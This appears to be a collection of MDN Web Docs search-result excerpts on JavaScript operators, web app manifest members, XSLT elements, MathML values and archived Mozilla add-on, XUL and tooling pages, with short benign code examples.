... the following code prints the values of the diagonal elements in the array: for (var i = 0, j = 9; i <= 9; i++, j--) console.log('a[' + i + '][' + j + '] = ' + a[i][j]); note that the comma operators in assignments may appear not to have the normal effect of comma operators because they don't exist within an expression.
...so, one could do: function myfunc() { var x = 0; return (x += 1, x); // the same as return ++x; } specifications specification ecmascript (ecma-262)the definition of 'comma operator' in that specification.
Equality (==) - JavaScript
this can be roughly summarised as follows: if the operands are both objects, return true only if both operands reference the same object.
... examples comparison with no type conversion 1 == 1; // true "hello" == "hello"; // true comparison with type conversion "1" == 1; // true 1 == "1"; // true 0 == false; // true 0 == null; // false 0 == undefined; // false 0 == !!null; // true, look at logical not operator 0 == !!undefined; // true, look at logical not operator null == undefined; // true const number1 = new number(3); const number2 = new number(3); number1 == 3; // true number1 == number2; // false comparison of objects const object1 = {"key": "value"} const object2 = {"key": "value"}; object1 == object2 // false object2 == object2 // true comparing strings and s...
...ring2); // true console.log(string1 == string3); // true console.log(string2 == string3); // true console.log(string3 == string4); // false console.log(string4 == string4); // true comparing dates and strings const d = new date('december 17, 1995 03:24:00'); const s = d.tostring(); // for example: "sun dec 17 1995 03:24:00 gmt-0800 (pacific standard time)" console.log(d == s); //true specifications specification ecmascript (ecma-262)the definition of 'equality operators' in that specification.
Exponentiation (**) - JavaScript
that is, you cannot put a unary operator (+/-/~/!/delete/void/typeof) immediately before the base number; doing so will cause a syntaxerror.
... note that some programming languages use the caret symbol ^ for exponentiation, but javascript uses that symbol for the bitwise logical xor operator.
...exponentiation 2 ** 3 // 8 3 ** 2 // 9 3 ** 2.5 // 15.588457268119896 10 ** -1 // 0.1 nan ** 2 // nan associativity 2 ** 3 ** 2 // 512 2 ** (3 ** 2) // 512 (2 ** 3) ** 2 // 64 usage with unary operators to invert the sign of the result of an exponentiation expression: -(2 ** 2) // -4 to force the base of an exponentiation expression to be a negative number: (-2) ** 2 // 4 specifications specification ecmascript (ecma-262)the definition of 'exponentiation operator' in that specification.
Grouping operator ( ) - JavaScript
syntax ( ) description the grouping operator consists of a pair of parentheses around an expression or sub-expression to override the normal operator precedence so that expressions with lower precedence can be evaluated before an expression with higher priority.
... examples using the grouping operator overriding multiplication and division first, then addition and subtraction to evaluate addition first.
... var a = 1; var b = 2; var c = 3; // default precedence a + b * c // 7 // evaluated by default like this a + (b * c) // 7 // now overriding precedence // addition before multiplication (a + b) * c // 9 // which is equivalent to a * c + b * c // 9 specifications specification ecmascript (ecma-262)the definition of 'the grouping operator' in that specification.
Left shift (<<) - JavaScript
excess bits shifted off to the left are discarded.
...excess bits shifted off to the left are discarded.
... examples using left shift 9 << 3; // 72 // 9 * (2 ** 3) = 9 * (8) = 72 specifications specification ecmascript (ecma-262)the definition of 'bitwise shift operators' in that specification.
yield* - JavaScript
examples delegating to another generator in following code, values yielded by g1() are returned from next() calls just like those which are yielded by g2().
...og(iterator.next()); // {value: 1, done: false} console.log(iterator.next()); // {value: 2, done: false} console.log(iterator.next()); // {value: 3, done: false} console.log(iterator.next()); // {value: 4, done: false} console.log(iterator.next()); // {value: 5, done: false} console.log(iterator.next()); // {value: undefined, done: true} other iterable objects besides generator objects, yield* can also yield other kinds of iterables (e.g., arrays, strings, or arguments objects).
... function* g4() { yield* [1, 2, 3]; return 'foo'; } function* g5() { const g4returnvalue = yield* g4(); console.log(g4returnvalue) // 'foo' return g4returnvalue; } const iterator = g5(); console.log(iterator.next()); // {value: 1, done: false} console.log(iterator.next()); // {value: 2, done: false} console.log(iterator.next()); // {value: 3, done: false} done is false because g5 generator isn't finished, only g4 console.log(iterator.next()); // {value: 'foo', done: true} specifications specification ecmascript (ecma-262)the definition of 'yield' in that specification.
continue - JavaScript
the continue statement can include an optional label that allows the program to jump to the next iteration of a labeled loop statement instead of the current loop.
... in this case, the continue statement needs to be nested within this labeled statement.
...j: 5 // end checkj i = 1 j = 4 i: 1 i = 2 j = 4 i: 2 i = 3 j = 4 i: 3 i = 4 j = 4 specifications specification ecmascript (ecma-262)the definition of 'continue statement' in that specification.
background_color - Web app manifests
type string mandatory no the background_color member defines a placeholder background color for the application page to display before its stylesheet is loaded.
... therefore background_color should match the background-color css property in the site’s stylesheet for a smooth transition between launching the web application and loading the site's content.
... examples "background_color": "red" specification specification status comment feedback web app manifestthe definition of 'background_color' in that specification.
description - Web app manifests
type string mandatory no the description member is a string in which developers can explain what the application does.
... description is directionality-capable, which means it can be displayed left to right or right to left based on the values of the dir and lang manifest members.
... examples simple description in left-to-right language: "description": "awesome application that will help you achieve your dreams." description in arabic, which will be displayed right-to-left: "dir": "rtl", "lang": "ar", "description": ".تطبيق رائع سيساعدك على تحقيق أحلامك" specification specification status comment feedback web app manifestthe definition of 'description' in that specification.
dir - Web app manifests
WebManifestdir
type string mandatory no the base direction in which to display direction-capable members of the manifest.
... the dir member can be set to one of the following values: auto — text direction is determined by the user agent ltr — left to right rtl — right to left the directionality-capable members are: name short_name description note: if the value is omitted or set to auto, the browser will use the unicode bidirectional algorithm to make a best guess about the text's direction.
... example "dir": "rtl", "lang": "ar", "short_name": "!أنا من التطبيق" specification specification status comment feedback web app manifestthe definition of 'dir' in that specification.
name - Web app manifests
WebManifestname
type string mandatory yes the name member is a string that represents the name of the web application as it is usually displayed to the user (e.g., amongst a list of other applications, or as a label for an icon).
... name is directionality-capable, which means it can be displayed left-to-right or right-to-left based on the values of the dir and lang manifest members.
... examples simple name in left-to-right language: "name": "awesome application" right-to-left name in arabic: "dir": "rtl", "lang": "ar", "name": "!أنا من التطبيق" specification specification status comment feedback web app manifestthe definition of 'name' in that specification.
orientation - Web app manifests
note: orientation and/or its specific values might not be supported by a user agent on various display modes because supporting them does not make sense for the particular context.
... note: the orientation can be changed at runtime via the screen orientation api.
... values orientation can take one of the following values: any natural landscape landscape-primary landscape-secondary portrait portrait-primary portrait-secondary examples "orientation": "portrait-primary" specification specification status comment feedback web app manifestthe definition of 'orientation' in that specification.
scope - Web app manifests
type string mandatory no the scope member is a string that defines the navigation scope of this web application's application context.
... it restricts what web pages can be viewed while the manifest is applied.
... examples if the scope is relative, the manifest url is used as a base url: "scope": "/app/" the following scope limits navigation to the current site: "scope": "https://example.com/" finally, the following example limits navigation to a subdirectory of the current site: "scope": "https://example.com/subdirectory/" specification specification status comment feedback web app manifestthe definition of 'scope' in that specification.
short_name - Web app manifests
type string mandatory no the short_name member is a string that represents the name of the web application displayed to the user if there is not enough space to display name (e.g., as a label for an icon on the phone home screen).
... short_name is directionality-capable, which means it can be displayed left-to-right or right-to-left based on the value of the dir and lang manifest members.
... examples simple short_name in left-to-right language: "name": "awesome application", "short_name": "awesome app" short_name in arabic, which will be displayed right-to-left: "dir": "rtl", "lang": "ar", "name": "تطبيق رائع", "short_name": "رائع" specification specification status comment feedback web app manifestthe definition of 'short_name' in that specification.
Values - MathML
(the "x"-height of the element, 1ex ≈ 0.5em in many fonts) px pixels in inches (1 inch = 2.54 centimeters) cm centimeters mm millimeters pt points (1 point = 1/72 inch) pc picas (1 pica = 12 points) % percentage of the default value.
... constants a replacement for the deprecated constants below is: veryverythinmathspace => 0.05555555555555555em verythinmathspace => 0.1111111111111111em thinmathspace => 0.16666666666666666em mediummathspace => 0.2222222222222222em thickmathspace => 0.2777777777777778em verythickmathspace => 0.3333333333333333em veryverythickmathspace => 0.3888888888888889em constant value veryverythinmathspace 1/18em verythinmathspace 2/18em thinmathspace 3/18em mediummathspace 4/18em thickmathspace 5/18em verythickmathspace 6/18em veryverythickmathspace 7/18em negative contstants are introduced in gecko 7.0 (firefox 7.0 / thunderbird 7.0 / seamonkey...
... 2.4) (bug 650530) negativeveryverythinmathspace -1/18em negativeverythinmathspace -2/18em negativethinmathspace -3/18em negativemediummathspace -4/18em negativethickmathspace -5/18em negativeverythickmathspace -6/18em negativeveryverythickmathspace -7/18em note: namedspace binding is deprecated in mathml3 and has been removed in gecko 15.0 (firefox 15.0 / thunderbird 15.0 / seamonkey 2.12) (bug 673759).
PWA developer guide - Progressive web apps (PWAs)
in the articles listed here, you'll find guides about every aspect of development specific to the greation of progressive web applications (pwas).
...<<<--- web app basics introduction and getting started with pwa development some description installing and uninstalling web apps an introductory guide to how a web app can be installed on the user's device...
... using service workers to run offline description alerting the user using notifications description creating a web app from an existing site description advanced topics pushing data from the server to your web application some description resource management description integration with the host device description security and privacy description gaming topics for web app developers description polishing web apps web api equivalents for common native apis some description platform-specific tips and issues description web application performance guide description ensuring a good user experience description related topics some topic some description ...
HTML Imports - Web Components
until there is a consensus on the standard or alternative mechanisms are worked out, you can use a polyfill such as google's webcomponents.js.
... html imports is intended to be the packaging mechanism for web components, but you can also use html imports by itself.
... specification specification status comment html imports working draft initial definition.
translate - XPath
notes xpath notes that the translate function is not a sufficient solution for case conversion in all languages.
... a future version of xpath may provide additional functions for case conversion.
... however, this is the closest we have at present to a function that can convert a string to uppercase or lowercase.
<xsl:key> - XSLT: Extensible Stylesheet Language Transformations
WebXSLTElementkey
xslt/xpath reference: xslt elements, exslt functions, xpath functions, xpath axes the <xsl:key> element declares a named key which can be used elsewhere in the stylesheet with the key( ) function.
... match defines the nodes for which this key is applicable.
... use specifies an xpath expression that will be used to determine the value of the key for each of the applicable nodes.
<xsl:message> - XSLT: Extensible Stylesheet Language Transformations
WebXSLTElementmessage
it can be useful for debugging.
... optional attributes terminate set to "yes", indicates that execution should be terminated.
... the default value is "no", in which case the message is output and execution continues.
<xsl:param> - XSLT: Extensible Stylesheet Language Transformations
WebXSLTElementparam
when used inside an <xsl:template> element, the parameter is local to that template.
... in this case it must be the first child element of the template.
... type instruction, can appear as a top-level element or within a template.
<xsl:sort> - XSLT: Extensible Stylesheet Language Transformations
WebXSLTElementsort
syntax <xsl:sort select=expression order="ascending" | "descending" case-order="upper-first" | "lower-first" lang=xml:lang-code data-type="text" | "number" /> required attributes none.
... case-order indicates whether upper- or lowercase letters are to be ordered first.
... data-type defines whether items are to be ordered alphabetically or numerically.
<xsl:template> - XSLT: Extensible Stylesheet Language Transformations
WebXSLTElementtemplate
name specifies a name for this template, by which it can be invoked through the <xsl:call-template> element.
... mode specifies a particular mode for this template, which can be matched by an attribute of the <xsl:apply-templates> element.
...this can be any number other than infinity.
<xsl:text> - XSLT: Extensible Stylesheet Language Transformations
WebXSLTElementtext
syntax <xsl:text disable-output-escaping="yes" | "no"> text </xsl:text> required attributes none.
... optional attributes disable-output-escaping (netscape does not serialize the result of transformation - the "output" below - so this attribute is essentially irrelevant in context.
... to output html-entities, use numerical values instead, eg &#160; for &nbsp;) specifies whether special characters are escaped when written to the output.
<xsl:value-of> - XSLT: Extensible Stylesheet Language Transformations
WebXSLTElementvalue-of
syntax <xsl:value-of select=expression disable-output-escaping="yes" | "no" /> required attributes select specifies the xpath expression to be evaluated and written to the output tree.
... optional attributes disable-output-escaping (netscape does not serialize the result of transformation - the "output" below - so this attribute is essentially irrelevant in context.
... to output html-entities, use numerical values instead, eg &#160 for &nbsp) specifies whether special characters are escaped when written to the output.
XSLT elements reference - XSLT: Extensible Stylesheet Language Transformations
WebXSLTElement
on a related note, any attribute in an lre and some attributes of a limited number of xslt elements can also include what is known as an attribute value template.
...<xsl:apply-imports><xsl:apply-templates><xsl:attribute-set><xsl:attribute><xsl:call-template><xsl:choose><xsl:comment><xsl:copy-of><xsl:copy><xsl:decimal-format><xsl:element><xsl:fallback><xsl:for-each><xsl:if><xsl:import><xsl:include><xsl:key><xsl:message><xsl:namespace-alias><xsl:number><xsl:otherwise><xsl:output><xsl:param><xsl:preserve-space><xsl:processing-instruction><xsl:sort><xsl:strip-space><xsl:stylesheet><xsl:template><xsl:text><xsl:transform><xsl:value-of><xsl:vari...
...able><xsl:when><xsl:with-param> <xsl:apply-imports> <xsl:apply-templates> <xsl:attribute> <xsl:attribute-set> <xsl:call-template> <xsl:choose> <xsl:comment> <xsl:copy> <xsl:copy-of> <xsl:decimal-format> <xsl:element> <xsl:fallback> (not supported) <xsl:for-each> <xsl:if> <xsl:import> (mostly supported) <xsl:include> <xsl:key> <xsl:message> <xsl:namespace-alias> (not supported) <xsl:number> (partially supported) <xsl:otherwise> <xsl:output> (partially supported) <xsl:param> <xsl:preserve-space> <xsl:processing-instruction> <xsl:sort> <xsl:strip-space> <xsl:stylesheet> (partially supported) <xsl:template> <xsl:text> (partially supported) <xsl:transform> <xsl:value-of> (partially supported) <xsl:variable> <xsl:when> <xsl:with-param> ...
PI Parameters - XSLT: Extensible Stylesheet Language Transformations
both pis can contain "pseudo attributes" the same way that the xml-stylesheet pi does.
... xslt-param the xslt-param pi supports 4 attributes: name the local-name part of the parameter name.
... note that value="..." is not strictly equal to select="'...'" since the value can contain both apostrophe and quote characters.
Advanced Example - XSLT: Extensible Stylesheet Language Transformations
using the xsltprocessor.getparameter() method, the code can figure whether to sort in ascending or descending order.
... the xslt file has a parameter called myorder that javascript sets to change the sorting method.
... the xsl:sort element's order attribute can access the value of the parameter using $myorder.
Basic Example - XSLT: Extensible Stylesheet Language Transformations
these are the same files used in the generating html example in the xslt in netscape gecko article.
... figure 4 : xml file <?xml version="1.0"?> <myns:article xmlns:myns="http://devedge.netscape.com/2002/de"> <myns:title>my article</myns:title> <myns:authors> <myns:author company="foopy corp.">mr.
... </myns:body> </myns:article> figure 5 : xslt stylesheet <?xml version="1.0"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/xsl/transform" xmlns:myns="http://devedge.netscape.com/2002/de"> <xsl:output method="html" /> <xsl:template match="/"> <html> <head> <title> <xsl:value-of select="/myns:article/myns:title"/> </title> <style type="text/css"> .mybox {margin:10px 155px 0 50px; border: 1px dotted #639ace; padding:0 5px 0 5px;} </style> </head> <body> <p class="mybox"> <span clas...
Navigator - Archive of obsolete content
navigator.moznotificationprovides support for creating notification objects, which are used to display desktop notification alerts to the user.
...see displaying notifications for an example.
self - Archive of obsolete content
self provides: access to the options object access to the port object access to a mostly deprecated messaging api for an overview of content scripts, see the main article.
...if you do this, the data is available to the content script in the options property of self: // main.js const tabs = require("sdk/tabs"); tabs.open({ url: "./page.html", onready: function(tab) { tab.attach({ contentscriptfile: "./content-script.js", contentscriptoptions: { a: "blah" } }); } }); // content-script.js alert(self.options.a); port you can use port to receive messages from, and send messages to, the main add-on code.
addon-page - Archive of obsolete content
usage with the add-on sdk you can present information to the user, such as a guide to using your add-on, in a browser tab.
... you can supply the content in an html file in your add-on's "data" directory.
console/traceback - Archive of obsolete content
get() returns json : returns the json representation of the stack at the point that this function is called.
...if no argument is provided, the stack at the point this function is called is used.
content/loader - Archive of obsolete content
hiddenframes.add(hiddenframes.hiddenframe({ onready: function onready() { let frame = self._frame = this.element; self._emit('propertychange', { contenturl: self.contenturl }); } })); }, _onchange: function _onchange(e) { if ('contenturl' in e) this._frame.setattribute('src', this._contenturl); } }); loader properties contentscriptfile the local file urls of content scripts to load.
... any kind of jsonable value (object, array, string, etc.) can be used here.
io/byte-streams - Archive of obsolete content
you can also create bytereader objects using io/file's open() function.
... you can also create bytewriter objects using io/file's open() function.
system/child_process - Archive of obsolete content
child_process = require("sdk/system/child_process"); var ls = child_process.spawn('/bin/ls', ['-lh', '/usr']); ls.stdout.on('data', function (data) { console.log('stdout: ' + data); }); ls.stderr.on('data', function (data) { console.log('stderr: ' + data); }); ls.on('close', function (code) { console.log('child process exited with code ' + code); }); writing to child process' stdin because the sdk implementation does not include a write() method for child processes, you must use the "raw" emit event.
... const { emit } = require('sdk/event/core'); const { spawn } = require('sdk/system/child_process'); var proc = spawn("/bin/cat"); emit(proc.stdin, 'data', "hello from add-on code"); emit(proc.stdin, 'end'); using child_process in non-jpm extensions // import sdk stuff const commonjs_uri = 'resource://gre/modules/commonjs'; const { require } = cu.import(commonjs_uri + '/toolkit/require.js', {}); var child_process = require('sdk/system/child_process'); // use it in the same way as in the example above ...
util/collection - Archive of obsolete content
this way the caller can fully control the collection.
...setting the property to a scalar value empties the collection and adds the value.
util/list - Archive of obsolete content
globals constructors list(element1, element2, ...) constructor can takes any number of elements and creates an instance of list populated with the specified elements.
... removelistitem(list, item) function removes an item from a list list an ordered collection (also known as a sequence) disallowing duplicate elements.
util/object - Archive of obsolete content
any argument given with "falsy" values (null, undefined) in case of objects are skipped.
... let { merge } = require("sdk/util/object"); var a = { jetpacks: "are yes", foo: 10 } var b = merge(a, { foo: 5, bar: 6 }, { foo: 50, location: "sf" }); b === a // true b.jetpacks // "are yes" b.foo // 50 b.bar // 6 b.location // "sf" // merge also translates property descriptors var c = { "type": "addon" }; var d = {}; object.defineproperty(d, "name", { value: "jetpacks", configurable: false }); merge(c, d); var props = object.getownpropertydescriptor(c, "name"); console.log(props.configurable); // true parameters source : object the object that other properties are merged into.
List Open Tabs - Archive of obsolete content
to list the open tabs, you can iterate over the tabs object itself.
...you can download the icon here: .
Listen for Page Load - Archive of obsolete content
you can get notifications about new pages loading using the tabs module.
...you can listen for a number of other tab events, including open, close, and activate.
Boxes - Archive of obsolete content
wrapping contents in html you can use a div as a container and when the div changes size, the contents will wrap or adjust the layout.
...however, you can easily add this capability with a style change.
Customizing the download progress bar - Archive of obsolete content
first you need to overlay the downloads window so that you can add a new stylesheet.
...in your overlay file, add a javascript file between the <overlay> and </overlay> tags: <script type="application/javascript" src="chrome://myextension/content/downloads-overlay.js" /> the javascript file will look something like this: var mydownloadmanager = { defaultcreatedownloaditem : null, init : function fdm_init() { mydownloadmanager.defaultcreatedownloaditem = window.createdownloaditem; window.createdownloaditem = function(aattrs) { var dl = mydownloadmanager.defaultcre...
IsDefaultNamespace - Archive of obsolete content
// http://www.w3.org/tr/dom-level-3-core/core.html#node3-isdefaultnamespace // http://www.w3.org/tr/dom-level-3-core/namespaces-algorithms.html#isdefaultnamespacealgo function isdefaultnamespace(node, namespaceuri) { if (node.isdefaultnamespace) { return node.isdefaultnamespace(namespaceuri); } switch (node.nodetype) { case 1: // element_node if (!node.prefix) { return (node.namespaceuri === namespaceuri); } if (node.attributes.length) { for (var i=0; i < node.attributes.length; i++) { var att = node.attributes[i]; if (att.localname === 'xmlns') { return att.value === namespaceuri; ...
... } } } if (node.parentnode) { // entityreferences may have to be skipped to get to it return isdefaultnamespace(node.parentnode, namespaceuri); } else { return false; // unknown; } case 9: // document_node return isdefaultnamespace(node.documentelement, namespaceuri); case 6: // entity_node case 12: // notation_node case 10: // document_type_node case 11: // document_fragment_node return false; // unknown case 2: // attribute_node: if (node.ownerelement ) { return isdefaultnamespace(node.ownerelement , namespaceuri); } else { ...
Modules - Archive of obsolete content
the use of eval() will probably not be of concern because it is only being used on the exported_symbols array which should not depend on user input.
... // at the end of your code: (assuming neither 'i' nor 'thatobj' is being exported!) for (var i=0; i < exported_symbols.length; i++) {thatobj[exported_symbols[i]] = eval(exported_symbols[i]);} })(); // can put an object argument here ...
Post data to window - Archive of obsolete content
preprocessing post data the apostdata argument of the (global) loaduri(), opendialog(), and (tab)browser.loaduriwithflags() methods expects the post data in the form of an nsiinputstream (because they eventually call nsiwebnavigation.loaduri()) while post data can be created using nsimimeinputstream.
... createinstance(ci.nsimimeinputstream); postdata.addheader("content-type", "application/x-www-form-urlencoded"); postdata.addcontentlength = true; postdata.setdata(stringstream); // postdata is ready to be used as apostdata argument ...
QuerySelector - Archive of obsolete content
along the lines of other frameworks such as jquery or prototype, shortening the "queryselector" name can be convenient: function $ (selector, el) { if (!el) {el = document;} return el.queryselector(selector); } function $$ (selector, el) { if (!el) {el = document;} return el.queryselectorall(selector); // note: the returned object is a nodelist.
... // if you'd like to convert it to a array for convenience, use this instead: // return array.prototype.slice.call(el.queryselectorall(selector)); } alert($('#myid').id); (note that while using the firefox web console, the above functions are available automatically.) both xul and even xml can be easily made supportable (an alternative approach to the following would be to add chromewindow.prototype or window.prototype, accessing this.document.queryselector, or following the jquery style of chaining by returning 'this' within each prototype method of $()): htmldocument.prototype.$ = function (selector) { // only for html return this.queryselector(selector); }; example: <h1>test!</h1> <script> htmldocument.prototype.$ = function (selector) { return this.queryselector(sele...
SVG General - Archive of obsolete content
dynamic scripting helper this little helper script can be used to simplify creation of svg elements in script.
...svg image also requires the use of xlink for the href attribute, which can be tricky to remember, especially when you're mixing svg with html or xul.
Scrollbar - Archive of obsolete content
this example shows how to style the scrollbars in your xul application.
... example xul window: <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window id="samplewindow" width="320" height="240" xmlns="http://www.mozilla.org/keymaster/gat...re.is.only.xul"> <hbox flex="1"> <browser type="content" src="http://mozilla.org" flex="1"/> <scrollbar orient="vertical"/> </hbox> </window> ...
Toolbar - Archive of obsolete content
this should only be done on the first run of your add-on after installation so that if the user decides to remove your button, it doesn't show up again every time they start the application.
... you must not insert your toolbar button between any of the following elements: the combined back/forward button, the location bar, the stop botton, or the reload button.
getAttributeNS - Archive of obsolete content
=== 'http://www.w3.org/xml/1998/namespace') { // this is assumed so don't try to get an xmlns for the 'xml' prefix return thisitem.getattribute('xml:'+nsatt); // prefix must be 'xml' per the specs } var attrs2, result; var attrs = thisitem.attributes; var prefixatt = new regexp('^(.*):'+nsatt.replace(/\./g, '\\.')+'$'); // e.g., xlink:href // find any prefixes with the local-name being searched (escape period since only character (besides colon) allowed in an xml name which needs escaping) for (var j = 0; j < attrs.length; j++) { // thisitem's atts // e.g., abc:href, xlink:href while (((result = prefixatt.exec(attrs[j].nodename)) !== null) && thisitem.nodename !== '#document' && thisitem.nodename !== '#document-fragment') { ...
... var xmlnsprefix = new regexp('^xmlns:'+result[1]+'$'); // e.g., xmnls:xl, xmlns:xlink // check higher up for xmlns:prefix // check the current node and if necessary, check for the next matching local name up in the hierarchy (until reaching the document root) while (thisitem.nodename !== '#document' && thisitem.nodename !== '#document-fragment') { attrs2 = thisitem.attributes; for (var i = 0; i < attrs2.length; i++) { // search for any prefixed xmlns declaration on thisitem which match prefixes found above with desired local name if (attrs2[i].nodename.match(xmlnsprefix) && attrs2[i].nodevalue === ns ) { // e.g., 'xmlns:xlink' and 'http://www.w3.org/1999/xlink' return a...
Custom about: URLs - Archive of obsolete content
this example can be easily modified, just modify the global const at in the // globals section.
...services.io.newchannel was deprecated, and the signature of the newchannel method changed.
Beginner tutorials - Archive of obsolete content
creating reusable content with css and xblthis page illustrates how you can use css in mozilla to improve the structure of complex applications, making code and resources more easily reusable.underscores in class and id namessummary: the use of the underscore character in css can lead to major display problems in multiple browsers.
...this technical note examines the use of underscores in css, and why they should be generally avoided in most circumstances.xml datathis page contains an example of how you can use css with xml data.xul user interfacesthis page illustrates mozilla's specialized language for creating user interfaces.
MozAudioAvailable - Archive of obsolete content
general info specification dom l3 interface event bubbles no cancelable no target element default action none.
... cancelable read only boolean is it possible to cancel the event?
MozBeforeResize - Archive of obsolete content
general info specification mozilla specific interface event bubbles no cancelable no target window default action none properties property type description target read only eventtarget the event target (the topmost target in the dom tree).
... cancelable read only boolean whether the event is cancellable or not.
levelchange - Archive of obsolete content
general info specification battery interface event bubbles no cancelable no target batterymanager default action none properties the event callback doesn't receive any event objects, but properties can be read from the batterymanager object received from the navigator.getbattery method.
... property type description batterymanager.level double (float) the system's battery charging level scaled from 0 to 1.0.
Misc top level - Archive of obsolete content
back in the early days, this approach worked, because browsers would usually make a table cell exactly as wide and tall as an image it contained.no proxy for configurationthis document provides a comprehensive discussion of the manual proxy feature "no proxy for:", including configuration issues, testing and bugs.same-origin policy for file: urisin gecko 1.8 or earlier, any two file: uris are considered to be same-origin.
... in other words, any html file on your local disk can read any other file on your local disk.
Automated testing tips and tricks - Archive of obsolete content
todo: check example code in to the tree somewhere how to quit the browser on all platforms window.close() of the last open window does not quit the application on mac http://people.mozilla.com/~davel/scripts/ - look at quit.js and quit.xul install manifest file in appdir/chrome to map chrome://tests/content to directory containing quit.js and quit.xul example: content tests file:///users/davel/work/tests/ start app with command line flag -chrome chrome://tests/content/quit.xul how to create a new profile from the command line first, use the -createprofile command line flag to add a profile entry to profiles.ini and populate the new profile directory with a prefs.js file firefox-bin -createprofile "testprofile ${pro...
...ript is run how to enable dump in a new profile add user_pref("browser.dom.window.dump.enabled", true); to profiledir/user.js how to execute test code with chrome privileges using a chrome doc - see sbtests.xul in http://people.mozilla.com/~davel/scripts/ for an example firefox-bin -p sbtestprofile -chrome chrome://sbtests/content/ above code calls the quit function in quit.js to exit after test is finished how to detect content onload event from chrome use the domcontentloaded event chromewindow.addeventlistener('domcontentloaded',callbackfunction,false); ...
Introduction - Archive of obsolete content
our goal is to make it possible to automatically generate a mozilla configuration on the server for each user as soon as he is created.
... moreover, we want to lock certain settings, so that users cannot change them.
Kill the XUL.mfl file for good - Archive of obsolete content
this is meant to speed up the operation of mozilla, however in a fileserver based environment, this can be problematic: at several megabytes a pop, these files will take up a considerable amount of space, because each user has his own...
... loading these files from the server, and storing them back slows down the network, thus it may actually be faster without than with xul.mfl occasionnally gets corrupted, needing a manual intervention to wipe it out, before mozilla again works correctly.
Bonsai - Archive of obsolete content
bonsai is tree control it is a tool that lets you perform queries on the contents of a cvs archive; you can: get a list of checkins, see what checkins have been made by a given person, or on a given cvs branch, or in a particular time period.
... start at the main bonsai query page or seamonkey tree control page here are some example queries that will give you a taste of what bonsai is capable of: today's checkins to the mozilla source mainline.
Enabling the behavior - updating the status bar panel - Archive of obsolete content
when it finds a color, it sets the panel's status attribute to the corresponding status, which causes the previously defined css rules to switch to the icon appropriate for that status.
... because our conditional looks for worse states (bustage, test failures) first, it will display those states before displaying the success state.
Prerequisites - Archive of obsolete content
if you currently use mozilla, you should install a new copy of the software in a different location from the existing installation for the purposes of this demo.
... this tutorial instructs you to do things that can damage your installation and make it unusable, so don't modify your primary mozilla installation per the instructions in this tutorial unless you really know what you are doing!
Creating a Mozilla Extension - Archive of obsolete content
see building an extension for an up-to-date tutorial (it focuses on firefox, but is also applicable to other new applications).
... contents prerequisites tinderbox making a mozilla installation modifiable finding the file to modify finding the code to modify adding the structure specifying the appearance enabling the behavior - retrieving tinderbox status enabling the behavior - updating the status bar panel enabling the behavior - updating the status periodically making it into a static overlay making it into a dynamic overlay and packaging it up for distribution conclusion next » original document information author(s): myk melez last updated date: september 19, 2006 copyright information: portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative commons license | details.
Creating a Release Tag - Archive of obsolete content
the mini-branch is created so you can check in the build scripts with the necessary changes without touching the original branch.
... cvs co -r netscape_6_2_release mozilla/client.mk cd mozilla gmake -f client.mk checkout create a mini branch for the pull scripts on all three platforms so we can change them without changing anything on the original branch.
FAQ - Archive of obsolete content
developers try to keep changes like this to a minimum, but sometimes it just can't be helped.
...in the case of skins the access key that you are defining is accessible by going to edit->preferences, appearance->themes, and then pressing a letter.
contents.rdf - Archive of obsolete content
"urn:mozilla:skin:myskin/1.0" chrome:displayname="my skin" chrome:accesskey="m" chrome:author="me" chrome:description="this is my custom skin for mozilla" chrome:name="myskin/1.0" chrome:image="preview.png"> <chrome:packages> <rdf:seq about="urn:mozilla:skin:myskin/1.0:packages"> <rdf:li resource="urn:mozilla:skin:myskin/1.0:communicator"/> <rdf:li resource="urn:mozilla:skin:myskin/1.0:editor"/> <rdf:li resource="urn:mozilla:skin:myskin/1.0:global"/> <rdf:li resource="urn:mozilla:skin:myskin/1.0:messenger"/> <rdf:li resource="urn:mozilla:skin:myskin/1.0:navigator"/> </rdf:seq> </chrome:packages> </rdf:description> <!-- version information.
...--> <rdf:description chrome:skinversion="1.0" about="urn:mozilla:skin:myskin/1.0:communicator"/> <rdf:description chrome:skinversion="1.0" about="urn:mozilla:skin:myskin/1.0:editor"/> <rdf:description chrome:skinversion="1.0" about="urn:mozilla:skin:myskin/1.0:global"/> <rdf:description chrome:skinversion="1.0" about="urn:mozilla:skin:myskin/1.0:messenger"/> <rdf:description chrome:skinversion="1.0" about="urn:mozilla:skin:myskin/1.0:navigator"/> </rdf:rdf> ...
Creating a Skin for Mozilla - Archive of obsolete content
you cannot change what happens when the user right clicks on an image, but you can change the look of the right click menu (make it blue with pink polka dots, for example).
... original location: http://www.eightlines.com/neil/mozskin ...
Dehydra Frequently Asked Questions - Archive of obsolete content
thus de-hydra can be thought of as a decapitating tool for slaying cfgs.
...where can i find js code for real-life analyses for dehydra?
Using Dehydra - Archive of obsolete content
as gcc compiles file, dehydra calls functions in the user analysis script with information about the code being compiled.
...example: printing the location of type declarations save the following c++ code dumptypes.cc: typedef int myint; struct foo { int i; char *c; }; save the following analysis script dumptypes.js: function process_type(t) { print("type found: " + t.name + " location: " + t.loc); } function input_end() { print("hello, world!"); } compile using the following command: $ g++ -fplugin=~/dehydra/gcc_dehydra.so -fplugin-arg=~/dumptypes.js -o/dev/null -c dumptypes.cc note:for g++4.5 and up use -fplugin-arg-gcc_dehydra-script= rather than -fplugin-arg it should print the following results: type found: foo location: test.cc:2:12 type found: myint location: test.cc:1:13 hello, world!
Drag and drop events - Archive of obsolete content
these events are new in the current working draft of the html 5 specification.
...you can see an example of these events in action here: view source view example see also ^: drag and drop html 5 working draft: drag and drop nsidragservice ...
Extension Frequently Asked Questions - Archive of obsolete content
they are currently written with mostly firefox in mind, but most if not all should easily translate to seamonkey, thunderbird or any of the other applications.
... where can i get more help?
Code snippets - Archive of obsolete content
components.utils.import("resource://services-sync/main.js"); weave.service._freshstart(); // if you want to do it without wiping the server (which will cause corruption!): weave.service.generatenewsymmetrickeys(); print out a list of large bookmark records // change '1000' as appropriate.
